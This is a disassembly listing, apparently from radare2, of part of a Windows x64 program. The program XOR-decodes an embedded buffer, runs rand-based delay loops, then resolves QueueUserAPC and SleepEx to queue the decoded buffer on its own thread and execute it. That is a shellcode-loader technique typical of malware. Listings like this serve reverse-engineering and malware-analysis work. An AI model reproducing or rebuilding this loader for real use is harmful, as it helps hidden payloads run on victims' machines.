addss xmm0, xmm1
cvttss2si eax, xmm0
mov dword [rbp + 0x844], eax
add dword [rbp + 0x848], 1
cmp dword [rbp + 0x848], 0x4c
jle 0x140002935
add dword [rbp + 0x84c], 1
cmp dword [rbp + 0x84c], 0x4d
jle 0x140002929
mov rax, qword [rbp + 0x698]
mov rcx, rax
call sub.msvcrt.dll_free
mov eax, dword [rbp + 0x860]
movsxd rdx, eax
mov rax, qword [rbp + 0x6e0]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x858]
cdqe
movzx ecx, byte [rbp + rax - 0x40]
mov eax, dword [rbp + 0x860]
movsxd rdx, eax
mov rax, qword [rbp + 0x6e0]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
add dword [rbp + 0x858], 1
mov dword [rbp + 0x840], 0
jmp 0x140002a36
call sub.msvcrt.dll_rand
imul eax, eax, 0x21a
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006678]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call fcn.140003c80
movq rax, xmm0
mov qword [rbp + 0x690], rax
add dword [rbp + 0x840], 1
cmp dword [rbp + 0x840], 0x38d
jle 0x1400029f5
add dword [rbp + 0x860], 1
cmp dword [rbp + 0x860], 0x52b
jle 0x14000281b
mov rax, qword [rbp + 0x6e0]
mov qword [rbp + 0x6b0], rax
mov rax, qword [rbp + 0x830]
lea rdx, str.QueueUserAPC
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6a8], rax
mov rax, qword [rbp + 0x830]
lea rdx, str.SleepEx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6a0], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThread]
call rax
mov rdx, rax
mov rax, qword [rbp + 0x6b0]
mov r9, qword [rbp + 0x6a8]
mov r8d, 0
mov rcx, rax
call r9
mov rax, qword [rbp + 0x6a0]
mov edx, 1
mov ecx, 0xffffffff
call rax
mov eax, 0
movups xmm6, xmmword [rbp + 0x8b0]
add rsp, 0x948
pop rbx
pop rsi
pop rdi
pop rbp
ret